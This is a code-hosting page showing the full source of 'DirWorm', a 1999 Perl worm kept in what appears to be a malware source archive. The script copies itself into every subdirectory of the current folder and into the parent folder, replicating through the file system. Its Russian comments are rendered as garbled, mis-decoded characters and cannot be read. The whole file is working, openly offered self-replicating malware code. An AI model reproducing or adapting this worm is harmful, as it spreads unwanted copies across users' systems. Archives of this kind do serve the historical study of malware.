MalwareSourceCode/Perl/Virus.Perl.DirWorm
2020-10-09 21:59:39 -05:00

14 lines
523 B
Plaintext
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# DirWorm by -Byst- (c) 1999
while (<*>) # ˆé¥¬ ¢á¥ ä ©«ë ¢ ⥪ã饩 ¤¨à¥ªâ®à¨¨
{
if (chdir($_)) { # …᫨ íâ® ¤¨à¥ªâ®à¨ï - ᬥ­¨âì ⥪ãéãî ­ ­¥¥
@command = ("cp ../worm.pl ./worm.pl > /dev/null");
system @command; # ‚맮¢ á¨á⥬­®© ä㭪樨 ª®¯¨à®¢ ­¨ï ä ©«
chdir(".."); # ‚®§à é ¥¬áï ®¡à â­® ¢ ­ ç «ì­ãî ¤¨à¥ªâ®à¨î
}
}
@command = ("cp ./worm.pl ../worm.pl");
system @command; # Š®¯¨à㥬 ⥫® ¢ த¨â¥«ìáªãî ¤¨à¥ªâ®à¨î